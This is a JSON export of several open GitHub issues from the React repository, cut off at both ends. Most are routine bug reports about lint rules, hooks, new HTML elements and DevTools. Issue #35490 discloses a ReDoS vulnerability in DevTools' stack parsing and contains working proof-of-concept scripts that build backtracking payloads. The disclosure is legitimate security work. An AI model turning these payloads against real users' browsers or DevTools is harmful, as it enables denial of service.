bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2026-01-20T19:40:02Z", "updated_at": "2026-03-03T04:27:56Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "eslint-plugin-react-hooks version: 7.0.1\n\n## Steps To Reproduce\n\n```tsx\nconst Test = props => {\n return (\n
\n \n
\n );\n};\n```\n\n## The current behavior\nThe rule warns in both props `props.buttonRef` and `props.text`\n\n## The expected behavior\nErrors in the rules are not expected.\n\nThis can be easily fixed as follows:\n```tsx\nconst Test = props => {\n const { buttonRef } = props;\n\n return (\n
\n \n
\n );\n};\n```\n\nSimple logic tells me that the destructuring of variables should be equivalent to the direct use of prop in terms of rule errors.\nThe rule incorrectly marks `props` how to ref instead of `props.buttonRef'?", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35575/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35571", "id": 3834233393, "node_id": "I_kwDOAJy2Ks7kicIx", "number": 35571, "title": "Bug: Support the new `` element", "user": { "login": "jhuleatt", "id": 3759507, "node_id": "MDQ6VXNlcjM3NTk1MDc=", "avatar_url": "https://avatars.githubusercontent.com/u/3759507?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jhuleatt", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2026-01-20T15:28:36Z", "updated_at": "2026-01-20T20:17:00Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "I tried using the [new `` element in Chrome](https://developer.chrome.com/blog/geolocation-html-element), but React didn't recognize the props.\n\nThis element is [only available in Chrome so far, and only in Chrome 144+](https://chromestatus.com/feature/5125006551416832#consensus). Not sure what the policy is for adding new elements to React, but thought I'd log this.\n\nReact version: `19.2.3`\n\n## Steps To Reproduce\n\n1. Use **Chrome 144 or higher**\n2. Try to view a React component with the `` html element, like this:\n```jsx\nfunction Location() {\n const handleLocation = (e) => {\n console.log(e);\n };\n\n return (\n \n );\n}\n```\n\nLink to code example:\n\nhttps://stackblitz.com/edit/react-geolocation-repro?file=src%2FApp.jsx\n\n## The current behavior\n\nThe component renders, but with console errors:\n\n```\nUnknown event handler property `onLocation`. It will be ignored.\n```\n\n```\nReact does not recognize the `autoLocate` prop on a DOM element. If you intentionally want it to appear in the DOM as a custom attribute, spell it as lowercase `autolocate` instead. If you accidentally passed it from a parent component, remove it from the DOM element.\n```\n\n```\nReact does not recognize the `accuracyMode` prop on a DOM element. If you intentionally want it to appear in the DOM as a custom attribute, spell it as lowercase `accuracymode` instead. If you accidentally passed it from a parent component, remove it from the DOM element.\n```\n\n## The expected behavior\n\nReact recognizes the props for `` as documented in https://developer.chrome.com/blog/geolocation-html-element#implementation\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35571/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35550", "id": 3826449863, "node_id": "I_kwDOAJy2Ks7kEv3H", "number": 35550, "title": "Bug: [StrictMode] `getSnapshot` is not called after subscribing to external store when used in Suspense", "user": { "login": "jzhan-canva", "id": 14803931, "node_id": "MDQ6VXNlcjE0ODAzOTMx", "avatar_url": "https://avatars.githubusercontent.com/u/14803931?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jzhan-canva", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2026-01-18T07:14:29Z", "updated_at": "2026-01-20T07:27:41Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "in `useSyncExternalStore`, subscribe is called as a passive effect, so it's possible the store value has changed between render and effect. As a solution, I can see react calls `getSnapshot` right after subscribing to store, to check if value is stale.\n\nHowever, when using `Suspense` in `StrictMode`, `getSnapshot` is not called after subscribing to store\n\nReact version: 19.2.3\n\n## Steps To Reproduce\nConsider below code ([codesandbox](https://codesandbox.io/p/sandbox/s4qq8t))\n```tsx\nconst subscribe = (onStoreChange: () => void) => {\n console.log(\"subscribe called\");\n return () => {\n console.log(\"unsubscribe called\");\n };\n};\nconst getSnapshost = () => {\n console.log(\"getSnapshot called\");\n return 1;\n};\n\nconst Content = ({ promise }: { promise: Promise }) => {\n React.use(promise);\n const value = React.useSyncExternalStore(subscribe, getSnapshost);\n console.log(\"rendered with value\", value);\n return
Value {value}
;\n};\n\nexport default function App() {\n const [, reRender] = React.useReducer((state: number) => state + 1, 0);\n const promise = React.useRef(Promise.resolve());\n return (\n
\n \n\n Loading...}>\n \n \n
\n );\n}\n```\n\n## The current behavior\nIn StrictMode, after I click the button to trigger suspense, when it's resolved, it will re-mount the Content component, unsubscribe store, subscribe store, **without calling getSnapshot again**\nmy console is \n```\nbutton clicked\ngetSnapshot called\ngetSnapshot called\nrendered with value 1\ngetSnapshot called\ngetSnapshot called\nrendered with value 1\nunsubscribe called\nsubscribe called\n```\n\"Image\"\n\n## The expected behavior\nThe expected behavior is that getSnapshot should be always called after subscribe is called, i.e. in console I should see\n```\nsubscribe called\ngetSnapshot called <-- after last subscribe\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35550/reactions", "total_count": 4, "+1": 3, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35515", "id": 3817032252, "node_id": "I_kwDOAJy2Ks7jg0o8", "number": 35515, "title": "[DevTools Bug]: High CPU usage when viewing Google Search results", "user": { "login": "ferrybig", "id": 1576684, "node_id": "MDQ6VXNlcjE1NzY2ODQ=", "avatar_url": "https://avatars.githubusercontent.com/u/1576684?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ferrybig", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2026-01-15T10:53:20Z", "updated_at": "2026-01-15T14:24:37Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://www.google.com/search?client=firefox-b-d&q=sociale+huur+samenwonen\n\n### Repro steps\n\nI noticed my fans started whining, so I looked into the system monitor for the cause. The cause was firefox and the webextensions process. Looking into the firefox task manager, it showed a google tab and extensons being high.\n\nProfiling using the debugger (pausing then pressing play again multiple times and looking what places are executed), showed this extension and some script (that handled `message` events) on google.com as the cause. \n\nDebugging using `window.addEventListener('message', (e) => console.log(e))` showed the following spam repeated:\n\n```\nmessage { target: Window, isTrusted: true, data: {…}, origin: \"https://www.google.com\", lastEventId: \"\", source: Window, ports: Restricted, srcElement: Window, currentTarget: Window, eventPhase: 2, … }\n​\nbubbles: false\n​\ncancelBubble: false\n​\ncancelable: false\n​\ncomposed: false\n​\ncurrentTarget: null\n​\ndata: Object { source: \"react-devtools-content-script\", hello: true }\n​\ndefaultPrevented: false\n​\neventPhase: 0\n​\nexplicitOriginalTarget: Window https://www.google.com/search?client=firefox-b-d&q=sociale+huur+samenwonen\n​\nisTrusted: true\n​\nlastEventId: \"\"\n​\norigin: \"https://www.google.com\"\n​\noriginalTarget: Window https://www.google.com/search?client=firefox-b-d&q=sociale+huur+samenwonen\n​\nports: Array []\n​\nreturnValue: true\n​\nsource: Window https://www.google.com/search?client=firefox-b-d&q=sociale+huur+samenwonen\n​\nsrcElement: Window https://www.google.com/search?client=firefox-b-d&q=sociale+huur+samenwonen\n​\ntarget: Window https://www.google.com/search?client=firefox-b-d&q=sociale+huur+samenwonen\n​\ntimeStamp: 536381\n​\ntype: \"message\"\n​\n: function isTrusted()\n​\n: MessageEventPrototype { initMessageEvent: initMessageEvent(), data: Getter, origin: Getter, … }\n​​\nconstructor: function MessageEvent()\n​​\ndata: \n​​\ninitMessageEvent: function initMessageEvent()\n​​\nlastEventId: \n​​\norigin: \n​​\nports: \n​​\nsource: \n​​\nSymbol(Symbol.toStringTag): \"MessageEvent\"\n​​\n: function data()\n​​\n: function lastEventId()\n​​\n: function origin()\n​​\n: function ports()\n​​\n: function source()\n​​\n: EventPrototype { composedPath: composedPath(), stopPropagation: stopPropagation(), stopImmediatePropagation: stopImmediatePropagation(), … }\ndebugger eval code:1:51\n```\n\n\n### How often does this bug happen?\n\nOften\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n```text\n\n```\n\n### Error component stack (automated)\n\n```text\n\n```\n\n### GitHub query string (automated)\n\n```text\n\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35515/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35516 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35500", "id": 3807945076, "node_id": "I_kwDOAJy2Ks7i-KF0", "number": 35500, "title": "It cannot load normally and keeps showing \"Loading React Element Tree...\"", "user": { "login": "GailJY", "id": 28853938, "node_id": "MDQ6VXNlcjI4ODUzOTM4", "avatar_url": "https://avatars.githubusercontent.com/u/28853938?v=4", "gravatar_id": "", "url": "https://api.github.com/users/GailJY", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": {}, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2026-01-13T09:22:22Z", "updated_at": "2026-02-01T09:10:28Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\"Image\"\n\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35500/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35499", "id": 3807758362, "node_id": "I_kwDOAJy2Ks7i9cga", "number": 35499, "title": "[Compiler Bug]: react-hooks/exhaustive-deps conflicts with idea of React compiler in terms of functions memoization", "user": { "login": "kaguya3222", "id": 55194394, "node_id": "MDQ6VXNlcjU1MTk0Mzk0", "avatar_url": "https://avatars.githubusercontent.com/u/55194394?v=4", "gravatar_id": "", "url": "https://api.github.com/users/kaguya3222", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2026-01-13T08:33:31Z", "updated_at": "2026-01-21T12:20:44Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://github.com/kaguya3222/react-compiler-exhaustive-deps-repro\n\n### Repro steps\n\n1. Clone the repo\n2. `pnpm install`\n3. `pnpm lint` \n4. Explore the linting error\n\n```log\nerror The 'logCount' function makes the dependencies of useEffect Hook (at line 22) change on every render. To fix this, wrap the definition of 'logCount' in its own useCallback() Hook react-hooks/exhaustive-deps\n```\n\n`App.tsx` file has a component named `App`. In this component we have a function `logCount`, used in useEffect. `react-hooks/exhaustive-deps` says: `React Hook useEffect has a missing dependency: 'logCount'. Either include it or remove the dependency array.`. After adding it to dependency array it says: `The 'logCount' function makes the dependencies of useEffect Hook (at line 22) change on every render. To fix this, wrap the definition of 'logCount' in its own useCallback() Hook.`\n\nThe problem is that I don't need to wrap this function into a `useCallback`, because compiler will do it for me. \nDisabling eslint at the line of `logCount` definition is an option, but I don't think it's a good approach in the long term.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.0\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35499/reactions", "total_count": 7, "+1": 5, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 2, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35490", "id": 3804421244, "node_id": "I_kwDOAJy2Ks7iwtx8", "number": 35490, "title": "Bug: Inefficient Regular Expression Complexity in react", "user": { "login": "guiyi-he", "id": 113507098, "node_id": "U_kgDOBsP7Gg", "avatar_url": "https://avatars.githubusercontent.com/u/113507098?v=4", "gravatar_id": "", "url": "https://api.github.com/users/guiyi-he", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 9, "created_at": "2026-01-12T13:52:26Z", "updated_at": "2026-01-28T15:22:05Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Summary\nA Regular Expression Denial of Service (ReDoS) vulnerability was identified in Facebook React within the react-devtools-shared package. The issue exists in the backend/utils.js component, specifically within the regular expressions used for parsing at lines 368, 369, 381, and 417. By providing a specially crafted input string to the DevTools backend, an attacker or a malicious website being inspected can trigger catastrophic backtracking. This leads to excessive CPU consumption and causes the browser tab or the DevTools process to become unresponsive, resulting in a Denial of Service (DoS).\n\n### Details\nhttps://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L368\nhttps://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L369\nhttps://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L381\nhttps://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L417\n\n\n### PoC\nPoC for `line 368`:\n```js\n/**\n * ReDoS PoC for regexId: 6 (Validated and Optimized)\n *\n * Target Regex: /\\)+$/\n * Dataflow Path: componentStack -> split('\\n') -> trim() -> replace(/^\\(+/) -> SINK: replace(/\\)+$/)\n * Path Constraints: Must pass Chrome stack format check\n * Data Transformations: split('\\n'), trim(), replace(/^\\(+/, \"\")\n *\n * Generated Time: 2025-12-02\n * Phase: Phase 3 - Optimized (2 iterations)\n * Status: VALIDATED SUCCESS\n *\n * === VALIDATION RESULTS ===\n * Phase 2 Result: FAILED (Not reaching target Sink)\n * Phase 3 Iterations: 2\n *\n * Iteration 1: Added ':' to suffix to satisfy path constraint (url.indexOf(':') !== -1)\n * Result: Reached Sink but insufficient time (1.455s < 2000ms)\n *\n * Iteration 2: Increased repeatTimes from 80,000 to 200,000\n * Result: SUCCESS - Sink execution time 9.123s (Standard A: > 2000ms)\n *\n * Final Validation Metrics:\n * - Sink Execution Time: 9.123s\n * - Total Execution Time: ~9.5s\n * - Success Criteria: Standard A (> 2000ms)\n * - Production Ready: YES\n */\n\nimport { parseSourceFromComponentStack } from './utils.js';\n\nconsole.log(\"[+] Constructing base attack payload...\");\nconsole.log(\"[+] Target Vulnerability: regexId 6\");\nconsole.log(\"[+] Vulnerable Regex: /\\\\)+$/\");\n\n// Using vulnerability report attack components to construct base payload\nconst prefix = \"\";\nconst infix = \")\";\nconst suffix = \"◎\";\nconst repeatTimes = 200000; // Iteration 2: Increased from 80000 to 200000 (1455ms -> target 2000ms)\n\nconst base_payload = prefix + infix.repeat(repeatTimes) + suffix;\nconsole.log(`[+] Base payload length: ${base_payload.length} characters`);\n\nconsole.log(\"\\n[+] Analyzing dataflow path constraints...\");\nconsole.log(\"[+] Source: componentStack (parameter)\");\nconsole.log(\"[+] Sink: Line 368, replace(/\\\\)+$/, \\\"\\\")\");\nconsole.log(\"[+] Transformations identified:\");\nconsole.log(\" - split('\\\\n'): Splits string into array\");\nconsole.log(\" - trim(): Removes whitespace\");\nconsole.log(\" - replace(/^\\\\(+/, \\\"\\\"): Removes leading parentheses\");\n\nconsole.log(\"\\n[+] Payload adjustment analysis:\");\nconsole.log(\" - Original suffix '◎' does not contain \\\\n → unaffected by split()\");\nconsole.log(\" - Suffix is not whitespace → unaffected by trim()\");\nconsole.log(\" - No leading '(' in payload → unaffected by replace(/^\\\\(+/)\");\nconsole.log(\" - PROBLEM: extractLocation requires ':' in payload (url.indexOf(':') !== -1)\");\nconsole.log(\" - Strategy (Iteration 1): Add ':' before suffix to satisfy constraint\");\n\n// Add ':' to satisfy extractLocation constraint while maintaining ReDoS pattern\nconst final_payload = base_payload.substring(0, base_payload.length - 1) + \":◎\";\nconsole.log(`[+] Final payload length: ${final_payload.length} characters`);\n\nconsole.log(\"\\n[!] Preparing to trigger ReDoS vulnerability...\");\nconsole.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);\n\nconsole.time(\"ReDoS-Attack-Time\");\ntry {\n parseSourceFromComponentStack(final_payload);\n console.log(\"\\n[+] Function execution completed\");\n} catch (e) {\n console.log(\"\\n[!] Function threw exception:\", e.message);\n}\nconsole.timeEnd(\"ReDoS-Attack-Time\");\n\nconsole.log(\"\\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.\");\nconsole.log(\"\\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.\");\n\n/* How to use:\n * 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L368\n * 2.Put poc.js and utils.js in the same folder\n * 3.Enter the command in the terminal: node poc.js\n * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.\n*/\n```\nPoC for `line 369`:\n```js\n/**\n * ReDoS PoC for regexId: 7 (Validated - Phase 2 Success)\n *\n * Target Regex: /(at )?(.+?)(?::(\\d+))?(?::(\\d+))?$/\n * Dataflow Path: componentStack -> split('\\n') -> trim() -> replace(/^\\(+/) -> replace(/\\)+$/) -> SINK: .exec()\n * Path Constraints: Must pass Chrome stack format check\n * Data Transformations: split('\\n'), trim(), replace(/^\\(+/, \"\"), replace(/\\)+$/, \"\")\n *\n * Generated Time: 2025-12-02\n * Phase: Phase 2 - Validated (No iterations needed)\n * Status: VALIDATED SUCCESS\n *\n * === VALIDATION RESULTS ===\n * Phase 2 Result: SUCCESS (First attempt)\n * Phase 3 Iterations: 0 (No optimization needed)\n *\n * Key Strategy: Replaced '\\n' with '\\r' in suffix to preserve '.' metacharacter non-matching\n * behavior while avoiding split() transformation issues\n *\n * Final Validation Metrics:\n * - Sink Execution Time: 3.061s\n * - Total Execution Time: ~3.5s\n * - Success Criteria: Standard B (> 1000ms)\n * - Production Ready: YES\n */\n\nimport { parseSourceFromComponentStack } from './utils.js';\n\nconsole.log(\"[+] Constructing base attack payload...\");\nconsole.log(\"[+] Target Vulnerability: regexId 7\");\nconsole.log(\"[+] Vulnerable Regex: /(at )?(.+?)(?::(\\\\d+))?(?::(\\\\d+))?$/\");\n\n// Using vulnerability report attack components to construct base payload\nconst prefix = \"\\u0000\";\nconst infix = \"\\u0000:0\";\nconst suffix_original = \"\\n!\\n!\";\nconst repeatTimes = 10000;\n\nconsole.log(\"\\n[+] Analyzing dataflow path constraints...\");\nconsole.log(\"[+] Source: componentStack (parameter)\");\nconsole.log(\"[+] Sink: Line 375, /(at )?(.+?)(?::(\\\\d+))?(?::(\\\\d+))?$/.exec()\");\nconsole.log(\"[+] Transformations identified:\");\nconsole.log(\" - split('\\\\n'): Splits string into array\");\nconsole.log(\" - trim(): Removes whitespace\");\nconsole.log(\" - replace(/^\\\\(+/, \\\"\\\"): Removes leading parentheses\");\nconsole.log(\" - replace(/\\\\)+$/, \\\"\\\"): Removes trailing parentheses\");\n\nconsole.log(\"\\n[+] Payload adjustment analysis:\");\nconsole.log(\" - Original suffix contains '\\\\n' → will be affected by split()\");\nconsole.log(\" - Regex contains '.' metacharacter which does not match \\\\n\");\nconsole.log(\" - Strategy: Replace \\\\n with \\\\r (carriage return) to maintain non-matching property\");\n\nconst suffix_adjusted = suffix_original.replace(/\\n/g, '\\r');\nconsole.log(` - Adjusted suffix: ${JSON.stringify(suffix_adjusted)}`);\n\nconst base_payload = prefix + infix.repeat(repeatTimes) + suffix_adjusted;\nconsole.log(`[+] Base payload length: ${base_payload.length} characters`);\n\nconst final_payload = base_payload;\nconsole.log(`[+] Final payload length: ${final_payload.length} characters`);\n\nconsole.log(\"\\n[!] Preparing to trigger ReDoS vulnerability...\");\nconsole.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);\n\nconsole.time(\"ReDoS-Attack-Time\");\ntry {\n parseSourceFromComponentStack(final_payload);\n console.log(\"\\n[+] Function execution completed\");\n} catch (e) {\n console.log(\"\\n[!] Function threw exception:\", e.message);\n}\nconsole.timeEnd(\"ReDoS-Attack-Time\");\n\nconsole.log(\"\\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.\");\nconsole.log(\"\\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.\");\n/* How to use:\n * 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L369\n * 2.Put poc.js and utils.js in the same folder\n * 3.Enter the command in the terminal: node poc.js\n * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.\n*/\n```\nPoC for `line 381`:\n```js\n/**\n * ReDoS PoC for regexId: 10 (Validated and Optimized)\n *\n * Target Regex: /^\\s*at .*(\\S+:\\d+|\\(native\\))/m\n * Dataflow Path: componentStack -> SINK: .match() (direct, no transformations)\n * Path Constraints: None (direct match on entry)\n * Data Transformations: None\n *\n * Generated Time: 2025-12-02\n * Phase: Phase 3 - Optimized (1 iteration)\n * Status: VALIDATED SUCCESS\n *\n * === VALIDATION RESULTS ===\n * Phase 2 Result: FAILED (Reached Sink but insufficient ReDoS time)\n * Phase 3 Iterations: 1\n *\n * Iteration 1: Increased repeatTimes from 40,000 to 100,000\n * Root Cause: Payload length insufficient to trigger prolonged backtracking (570ms < 2000ms)\n * Strategy: Increase repeatTimes by 2.5x to reach target execution time\n * Result: SUCCESS - Sink execution time 3.429s (Standard A: > 2000ms)\n *\n * Final Validation Metrics:\n * - Sink Execution Time: 3.429s\n * - Total Execution Time: ~3.8s\n * - Success Criteria: Standard A (> 2000ms)\n * - Production Ready: YES\n */\n\nimport { parseSourceFromComponentStack } from './utils.js';\n\nconsole.log(\"[+] Constructing base attack payload...\");\nconsole.log(\"[+] Target Vulnerability: regexId 10\");\nconsole.log(\"[+] Vulnerable Regex: /^\\\\s*at .*(\\\\S+:\\\\d+|\\\\(native\\\\))/m\");\n\n// Using vulnerability report attack components to construct base payload\nconst prefix = \"at \";\nconst infix = \"\\u0000\";\nconst suffix = \" \";\nconst repeatTimes = 100000; // Iteration 1: Increased from 40000 to 100000 (540ms -> target 2000ms)\n\nconst base_payload = prefix + infix.repeat(repeatTimes) + suffix;\nconsole.log(`[+] Base payload length: ${base_payload.length} characters`);\n\nconsole.log(\"\\n[+] Analyzing dataflow path constraints...\");\nconsole.log(\"[+] Source: componentStack (parameter)\");\nconsole.log(\"[+] Sink: Line 459, componentStack.match(CHROME_STACK_REGEXP)\");\nconsole.log(\"[+] Note: This regex is checked FIRST, before any transformations\");\nconsole.log(\"[+] Transformations identified: NONE - direct match on entry\");\n\nconsole.log(\"\\n[+] Payload adjustment analysis:\");\nconsole.log(\" - No transformations in dataflow\");\nconsole.log(\" - Original payload can be used directly\");\nconsole.log(\" - Using original payload without modification\");\n\nconst final_payload = base_payload;\nconsole.log(`[+] Final payload length: ${final_payload.length} characters`);\n\nconsole.log(\"\\n[!] Preparing to trigger ReDoS vulnerability...\");\nconsole.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);\n\nconsole.time(\"ReDoS-Attack-Time\");\ntry {\n parseSourceFromComponentStack(final_payload);\n console.log(\"\\n[+] Function execution completed\");\n} catch (e) {\n console.log(\"\\n[!] Function threw exception:\", e.message);\n}\nconsole.timeEnd(\"ReDoS-Attack-Time\");\n\nconsole.log(\"\\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.\");\nconsole.log(\"\\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.\");\n\n/* How to use:\n * 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L381\n * 2.Put poc.js and utils.js in the same folder\n * 3.Enter the command in the terminal: node poc.js\n * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.\n*/\n```\nPoC for `line 417`:\n```js\n/**\n * ReDoS PoC for regexId: 9 (Validated and Optimized)\n *\n * Target Regex: /((.*\".+\"[^@]*)?[^@]*)(?:@)/\n * Dataflow Path: componentStack -> split('\\n') -> trim() -> SINK: .replace()\n * Path Constraints: Must fail Chrome stack format check (goes to Firefox path)\n * Data Transformations: split('\\n'), trim()\n *\n * Generated Time: 2025-12-02\n * Phase: Phase 3 - Optimized (1 iteration)\n * Status: VALIDATED SUCCESS\n *\n * === VALIDATION RESULTS ===\n * Phase 2 Result: FAILED (Reached Sink but no ReDoS)\n * Phase 3 Iterations: 1\n *\n * Iteration 1: Removed '@' from suffix (changed @ to !) to prevent regex matching\n * Root Cause: Original suffix '\\r@\\r@' allowed regex to match successfully, no backtracking\n * Strategy: Replace '@' with '!' to force regex matching failure and trigger backtracking\n * Result: SUCCESS - Sink execution time > 30s (exceeded timeout, Standard A: > 2000ms)\n *\n * Final 